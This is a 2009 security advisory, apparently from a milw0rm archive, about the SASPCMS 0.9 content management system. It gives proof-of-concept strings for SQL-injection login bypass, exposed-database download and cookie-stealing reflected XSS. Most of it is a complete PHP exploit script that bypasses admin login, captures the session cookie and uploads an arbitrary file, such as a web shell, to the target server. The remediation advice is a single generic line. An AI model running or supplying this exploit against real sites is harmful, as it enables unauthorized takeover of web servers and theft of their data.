##########################www.BugReport.ir########################################
#
# AmnPardaz Security Research Team
#
# Title: SASPCMS Multiple Vulnerabilities
# Vendor: http://www.lgasoft.com
# Vulnerable Version: 0.9 (prior versions also may be affected)
# Exploitation: Remote with browser
# Fix: N/A
###################################################################################
####################
- Description:
####################
SASPCMS is an ASP Content Management System . SASPCMS witch uses MSSQL & Microsoft Access as backend database.
####################
- Vulnerability:
####################
+-->Authentication Bypass
POC: ' or ''='
http://[URL]/saspcms/admin/default.asp
+-->Database Information Disclosure
POC: http://[URL]/saspcms/db/menu.mdb
+-->Cross Site Scripting (XSS). Reflected XSS attack in "default.asp" in "q" parameter.
POC: http://[URL]/saspcms/default.asp?q=<script>alert(document.cookie)</script>
####################
- PoC:
####################
It's possible for remote attackers to upload arbitrary files by using FCKEditor after login to admin area.
<?php
########################## WwW.BugReport.ir ######################################
#
# AmnPardaz Security Research & Penetration Testing Group
#
# Title: SASPCMS Remote File Upload
# Original Advisory: http://www.bugreport.ir/index_64.htm
##################################################################################
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 5);
ob_implicit_flush (1);
echo'<html>
<head>
<title>SASPCMS Remote File Upload</title>
</head>
<body bgcolor="#00000">
<p align="center"><font size="4" color="white">SASPCMS Remote File Upload</font></p>
</font>
<table width="90%">
<tbody>
<tr>
<td width="43%" align="left">
<form name="form1" action="'.$SERVER[PHP_SELF].'" enctype="multipart/form-data" method="post">
<p></font><font color="white" > hostname (ex:www.sitename.com):  </font><input name="host" size="20"> <span class="Stile5"><font color="#FF0000">*</span></p>
<p></font><font color="white" > path (ex: /saspcms/ or just / ):  </font><input name="path" size="20"> <span class="Stile5"><font color="#FF0000">*</span></p>
<p></font><font color="white" >Please specify a file to upload:           </font><input type="file" name="datafile" size="40"><font color="#FF0000"> * </font>
<p><font color="white" > specify a port (default is 80):   </font><input name="port" size="20"><span class="Stile5"></span></p>
<p><font color="white" > Proxy (ip:port):  </font><input name="proxy" size="20"><span class="Stile5"></span></p>
<p align="center"> <span class="Stile5"><font color="#FF0000">* </font><font color="white" >fields are required</font></font></span></p>
<p><input type="submit" value="Start" name="Submit"></p>
</form>
</td>
</tr>
</tbody>
</table>
</body></html>';
function sendpacket($packet,$response = 0,$output = 0)
{
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
global $proxy, $host, $port, $html;
if ($proxy == '')
{
$ock = fsockopen($host,$port);
if (!$ock)
{
$off = 1;
echo '<font color=white> No response from '.htmlentities($host).' ...<br></font>';
die;
}
} else
{
$parts = explode(':',$proxy);
echo '<font color=white>Connecting to '.$parts[0].':'.$parts[1].' proxy...<br></font>';
$ock = fsockopen($parts[0],$parts[1]);
if (!$ock)
{
echo '<font color=white>No response from proxy...<br></font>';
die;
}
}
if($off == 1)
{}else
{
fputs($ock,$packet);
if ($response == 1)
{
if ($proxy == '')
{
$html = '';
while (!feof($ock))
{
$html .= fgets($ock);
}
} else
{
$html = '';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
{
$html .= fread($ock,1);
}
}
} else $html = '';
fclose($ock);
if ($response == 1 && $output == 1) echo nl2br(htmlentities($html));
}
}
$host = $_POST['host'];
$path = $_POST['path'];
$port = $_POST['port'];
if (isset($_POST['Submit']) && $host != '' && $path != '')
{
$port=intval(trim($port));
if ($port=='') {$port=80;}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {die('<font color=white>Error... check the path!</font>');}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
$host=str_replace("\r\n","",$host);
$path=str_replace("\r\n","",$path);
// login to the admin area
$query = "SAspCms=%27+or+%27%27%3D%27";
$packet = "POST ".$p."admin/admin.asp HTTP/1.1\r\n";
$packet .= "Host: ".$host."\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Cache-Control: no-cache\r\n";
$packet .= "Content-Length: ".strlen($query)."\r\n";
$packet .= "Connection: Close\r\n\r\n";
$packet .= $query;
sendpacket($packet,1,0);
if(stristr($html , 'Set-Cookie: ASPSESSIONID') == true)
{
$pattern = "(ASPSESSIONID[A-Z]{8}=[A-Z]{24})";
$cookie_name = (preg_match($pattern, $html, $matches)) ? $matches[0] : '';
}
// Upload File
$content = file_get_contents($_FILES['datafile']['tmp_name']);
$name = rand().$_FILES['datafile']['name'];
$type = $_FILES['datafile']['type'];
$data = "-----------------------------7d51143b10418\r\n";
$data .= "Content-Disposition: form-data; name=\"file\"; filename=\"$name\"\r\n";
$data .= "Content-Type: ".$type."\r\n\r\n";
$data .= "$content\r\n";
$data .= "-----------------------------7d51143b10418--";
$packet = "POST ".$p."wexlite/default.asp?precommand=ProcessUpload&folder=userfiles%5C&popup=true HTTP/1.1\r\n";
$packet .= "Content-Type: multipart/form-data; boundary=---------------------------7d51143b10418\r\n";
$packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)\r\n";
$packet .= "Host: ".$host."\r\n";
$packet .= "Cookie: $cookie_name\r\n";
$packet .= "Cache-Control: no-cache\r\n";
$packet .= "Content-Length: ".strlen($data)."\r\n";
$packet .= "Connection: Close\r\n\r\n";
$packet .= $data;
sendpacket($packet,1,0);
$packet = "GET ".$p."userfiles/$name HTTP/1.1\r\n";
$packet .= "Host: ".$host."\r\n";
$packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)\r\n";
$packet .= "Cache-Control: no-cache\r\n";
$packet .= "Connection: Close\r\n\r\n";
sendpacket($packet,1,0);
if(stristr($html , '200 OK') != true)
{echo "<font color=white>Exploit Faild...</font>";} else echo "<font color=white>Exploit Succeeded...<br>http://$host:$port$path"."userfiles/$name</font>";
}
?>
####################
- Solution:
####################
Edit the source code to ensure that inputs are properly sanitized.
####################
- Credit:
####################
AmnPardaz Security Research & Penetration Testing Group
Contact: admin[4t}bugreport{d0t]ir
www.BugReport.ir
www.AmnPardaz.com
# milw0rm.com [2009-04-08]
